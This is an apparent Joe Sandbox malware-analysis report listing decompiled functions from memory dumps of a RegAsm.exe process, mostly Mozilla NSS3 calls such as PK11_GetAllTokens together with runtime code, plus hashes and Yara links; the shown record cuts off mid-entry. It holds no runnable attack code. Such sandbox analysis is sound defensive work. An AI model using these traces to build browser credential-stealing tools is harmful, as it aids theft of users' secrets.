Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 6861ff32fda0ed891516efc42427f8914495cae595f6bf16d7a2d63d58f545b6
Instruction ID: a59e163bd7b4c54743559bab88af81194e024501b34136421f88faae70b75b50
Opcode Fuzzy Hash: 6861ff32fda0ed891516efc42427f8914495cae595f6bf16d7a2d63d58f545b6
Instruction Fuzzy Hash: E8718F72D1424A9FEB10CF55CD80EAABBA4BF54308F154229EC18D7B51F774EA94CB90

Function 6C260FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C261057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C261085
PK11_GetAllTokens.NSS3 ref: 6C2610B1
free.MOZGLUE(?), ref: 6C261107
PR_SetError.NSS3(00000000,00000000), ref: 6C261172
free.MOZGLUE(?), ref: 6C261182
free.MOZGLUE(?), ref: 6C2611A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C2611C5

Part of subcall function 6C2652C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C23EAC5,00000001), ref: 6C2652DF
Part of subcall function 6C2652C0: EnterCriticalSection.KERNEL32(?), ref: 6C2652F3
Part of subcall function 6C2652C0: PR_Unlock.NSS3(?), ref: 6C265358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C2611D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C2611F3

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: ad69462ffda8b0bea3a0e47acdba493bf298d9ecfefa8524966dfe9c737170fe
Instruction ID: d2cae1a4df55aabd1a0f537a88537abcc574e83c6bd5521a146a7ee7c14e5296
Opcode Fuzzy Hash: ad69462ffda8b0bea3a0e47acdba493bf298d9ecfefa8524966dfe9c737170fe
Instruction Fuzzy Hash: F06174B4E0134A9BEF00DF69D845B9AB7B5AF04349F144168EC19ABB41EB31E9C4CB71

Function 6C26ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AE10
EnterCriticalSection.KERNEL32(?,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C24D079,00000000,00000001), ref: 6C26AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AE7F
TlsGetValue.KERNEL32(?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AEF1
free.MOZGLUE(6C24CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C24CDBB,?), ref: 6C26AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C24CDBB,?,6C24D079,00000000,00000001), ref: 6C26AF30

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: c818fa2a0ff7b227f1c6b6aad571b57201d4acd9f2c5f77968f87015afb00496
Instruction ID: 382dcd61d02532b7e16c2305bae6f25debda70d00ed5ad9577c2f6156e87d4c3
Opcode Fuzzy Hash: c818fa2a0ff7b227f1c6b6aad571b57201d4acd9f2c5f77968f87015afb00496
Instruction Fuzzy Hash: B051AEB5A0161AEFDB01DF2AD884B56B7B4FF05319F144264EC1897E11E731E8A4CBE1

Function 6C244CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C24AB7F,?,00000000,?), ref: 6C244CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C24AB7F,?,00000000,?), ref: 6C244CC8
TlsGetValue.KERNEL32(?,6C24AB7F,?,00000000,?), ref: 6C244CE0
EnterCriticalSection.KERNEL32(?,?,6C24AB7F,?,00000000,?), ref: 6C244CF4
PL_HashTableLookup.NSS3(?,?,?,6C24AB7F,?,00000000,?), ref: 6C244D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C244D10

Part of subcall function 6C2CDD70: TlsGetValue.KERNEL32 ref: 6C2CDD8C
Part of subcall function 6C2CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C2CDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C244D26

Part of subcall function 6C2E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C330A27), ref: 6C2E9DC6
Part of subcall function 6C2E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C330A27), ref: 6C2E9DD1
Part of subcall function 6C2E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C2E9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C244D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C244DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C244E02

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 6c5119807b87d4d8bf583a0796cefb7b338dfd0faf9bea38e6df49bf0639ff02
Instruction ID: cd3b7752c0975f842055762eb51b1cfc906a88c775ffce084fce89be653a8b8f
Opcode Fuzzy Hash: 6c5119807b87d4d8bf583a0796cefb7b338dfd0faf9bea38e6df49bf0639ff02
Instruction Fuzzy Hash: C441A8B9E006199BEB01AF24EC40A5677A8AF06259F058171FD09C7B11FF31D924C7E2

Function 6C222E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C222CDA,?,00000000), ref: 6C222E1E

Part of subcall function 6C27FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C229003,?), ref: 6C27FD91
Part of subcall function 6C27FD80: PORT_Alloc_Util.NSS3(A4686C28,?), ref: 6C27FDA2
Part of subcall function 6C27FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C28,?,?), ref: 6C27FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C222E33

Part of subcall function 6C27FD80: free.MOZGLUE(00000000,?,?), ref: 6C27FDD1

TlsGetValue.KERNEL32 ref: 6C222E4E
EnterCriticalSection.KERNEL32(?), ref: 6C222E5E
PL_HashTableLookup.NSS3(?), ref: 6C222E71
PL_HashTableRemove.NSS3(?), ref: 6C222E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C222E96
PR_Unlock.NSS3 ref: 6C222EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C222EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C222EC5

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: ed4834c9b4541da10bebd864fe49a78042bd6e1112108fe499fa448769a3aa17
Instruction ID: 9e0f77a19c15ed4f6255f7f66603815db72a9166c30ab5106770029910397d3b
Opcode Fuzzy Hash: ed4834c9b4541da10bebd864fe49a78042bd6e1112108fe499fa448769a3aa17
Instruction Fuzzy Hash: 4621F2B6A00109A7EF112B24AD09EDB3ABCEB42319F040030FD1896B51F733D569E6A2

Function 6C1ACEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C1AB999), ref: 6C1ACFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C1AB999), ref: 6C1AD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C1AB999), ref: 6C1AD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C1AB999), ref: 6C2F972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C1ACFDD, 6C1AD00E, 6C1AD022, 6C1AD033, 6C2F9780
database corruption, xrefs: 6C1ACFE7, 6C1AD013, 6C1AD028, 6C1AD039, 6C1AD03E, 6C2F9786
%s at line %d of [%.10s], xrefs: 6C1ACFEC, 6C1AD018, 6C1AD029, 6C1AD03F, 6C2F978B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: b108e2570dd03bcafa9ee623faa683b38aebe1009494b0640f44181724c42282
Instruction ID: 75433733958e6978913905f1882e3b84a4c01b94b80099434779a412e7ddac6b
Opcode Fuzzy Hash: b108e2570dd03bcafa9ee623faa683b38aebe1009494b0640f44181724c42282
Instruction Fuzzy Hash: 106148B5A003148BD310DF69C800BA6B7E5EF55318F6941ADE8489FB81D377E847CBA1

Function 6C284DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C28536F,00000022,?,?,00000000,?), ref: 6C284E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C284F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C284F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C284FAE
free.MOZGLUE(?), ref: 6C284FC8

Strings

%s=%c%s%c, xrefs: 6C284FA9
%s=%s, xrefs: 6C284F89
oS(l", xrefs: 6C284DFB, 6C284EF4, 6C284EC5

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS(l"
API String ID: 2709355791-375965196
Opcode ID: b801c9722e76546c03afab82f491ee6f861ee18766f1ca1836ae2f64e39c0e29
Instruction ID: 1c27f8d90cc80216bb3e3f4642fc471d3b634aa1abbd3c561ddcb4276d80c5e2
Opcode Fuzzy Hash: b801c9722e76546c03afab82f491ee6f861ee18766f1ca1836ae2f64e39c0e29
Instruction Fuzzy Hash: 04513C21A0614F4BEB01C96984707FE7BFD9F5630AF588119FC90A7AC1D325980D87B1

Function 0040DB7F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0040DBBB
strchr.MSVCRT ref: 0040DBCD
strchr.MSVCRT ref: 0040DBF2
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
strcpy_s.MSVCRT ref: 0040DC6F

Strings

0123456789ABCDEF, xrefs: 0040DB99

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 453150750-2554083253
Opcode ID: 0591f5e3b86716f88ad539bd5f33fabdaa38383dfe43ffecb2f19c092cffc913
Instruction ID: be699800860e389eb7f033a368984428232de7924aec9246af203248711cb49e
Opcode Fuzzy Hash: 0591f5e3b86716f88ad539bd5f33fabdaa38383dfe43ffecb2f19c092cffc913
Instruction Fuzzy Hash: 18315D71D002199FDB00DFE8DC49ADEBBB9AF09355F100179E901FB281DB79A909CB94

Function 6C2AEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C2CA4A1,?,00000000,?,00000001), ref: 6C2AEF6D

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

htonl.WSOCK32(00000000,?,6C2CA4A1,?,00000000,?,00000001), ref: 6C2AEFE4
htonl.WSOCK32(?,00000000,?,6C2CA4A1,?,00000000,?,00000001), ref: 6C2AEFF1
memcpy.VCRUNTIME140(?,?,6C2CA4A1,?,00000000,?,6C2CA4A1,?,00000000,?,00000001), ref: 6C2AF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C2CA4A1,?,00000000,?,00000001), ref: 6C2AF027

Strings

dtls13, xrefs: 6C2AEF33

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0576bb106011f2879def6ebb791ede2e2703ef029f8150cda7b86d918df25753
Instruction ID: ebe1ad89a13841a88cd9422eca4033f16447c9595dae4da7ed3626533bd584f8
Opcode Fuzzy Hash: 0576bb106011f2879def6ebb791ede2e2703ef029f8150cda7b86d918df25753
Instruction Fuzzy Hash: 5F31C271A013199BC710DF68DC40B9AB7A4EF49348F158129FC18DB751E731E926CBE5

Function 6C22AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C22AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C349500,6C223F91), ref: 6C22AFD2

Part of subcall function 6C27B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3518D0,?), ref: 6C27B095

DER_GetInteger_Util.NSS3(?), ref: 6C22B007

Part of subcall function 6C276A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C221666,?,6C22B00C,?), ref: 6C276AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C22B02F
PR_CallOnce.NSS3(6C382AA4,6C2812D0), ref: 6C22B046
PL_FreeArenaPool.NSS3 ref: 6C22B058
PL_FinishArenaPool.NSS3 ref: 6C22B060

Strings

security, xrefs: 6C22AFB8

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 44681535ce8375eb616c810fabb85a4305a8f4a9d29328d02617c779791bacc2
Instruction ID: a39ad1c3a04d236afba3e49445525c40314459c34c0c3846c18aebe3c9afd11f
Opcode Fuzzy Hash: 44681535ce8375eb616c810fabb85a4305a8f4a9d29328d02617c779791bacc2
Instruction Fuzzy Hash: 4B316D704043089BDB118F24DC84BAAB7A4AF4672CF100719FD765BBD1EB3A9249CB97

Function 0041F944 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 0041F969

Part of subcall function 0041F504: Replicator::operator[].LIBCMT ref: 0041F587
Part of subcall function 0041F504: DName::operator+=.LIBCMT ref: 0041F58F

DName::operator+.LIBCMT ref: 0041F9C2
DName::DName.LIBCMT ref: 0041FA1A

Strings

,<ellipsis>, xrefs: 0041F9B5
void, xrefs: 0041FA12
..., xrefs: 0041F9FD, 0041FA09
,..., xrefs: 0041F9AE, 0041F9BA
<ellipsis>, xrefs: 0041FA04

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 834187326-2211150622
Opcode ID: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction ID: a738addbbfcb5581dbeaf62b254c3fbf004fdb1dbbbb6a7a041229699445b56b
Opcode Fuzzy Hash: d3ab2409594bd746038f666c063a4042a3e3f6ffbbc6970485e0b6f7108b7cf3
Instruction Fuzzy Hash: 3D217471611249AFCB21DF1CD444AA97BB4EF0534AB14806AE845CB367E738D987CB48

Function 6C25ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C25ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C25AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C25AD23

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C25AD39

Strings

hSession = 0x%x, xrefs: 6C25ACFE, 6C25AD0E
n3l, xrefs: 6C25AD51, 6C25AD7B
C_MessageDecryptFinal, xrefs: 6C25ACE1
(CK_INVALID_HANDLE), xrefs: 6C25AD1C

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$n3l
API String ID: 332880674-2662655631
Opcode ID: 696e7edfb3f2a12bf939da127ccf42115038c6e71b3d177794e0858479bdc1d1
Instruction ID: edb067b488ddf1a1ef2d1b53a305b757ac2169dd2a1d70f9cc05486f106d1659
Opcode Fuzzy Hash: 696e7edfb3f2a12bf939da127ccf42115038c6e71b3d177794e0858479bdc1d1
Instruction Fuzzy Hash: 15210A75603158DFDB00AB54DD89FBB33B9AB4330EF844025EC0997B11DB389818CBA2

Function 004212DD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 004212E7
DName::DName.LIBCMT ref: 004212F3

Part of subcall function 0041EFBE: DName::doPchar.LIBCMT ref: 0041EFEF

UnDecorator::getScopedName.LIBCMT ref: 00421332
DName::operator+=.LIBCMT ref: 0042133C
DName::operator+=.LIBCMT ref: 0042134B
DName::operator+=.LIBCMT ref: 00421357
DName::operator+=.LIBCMT ref: 00421364

Strings

void, xrefs: 00421343

Memory Dump Source

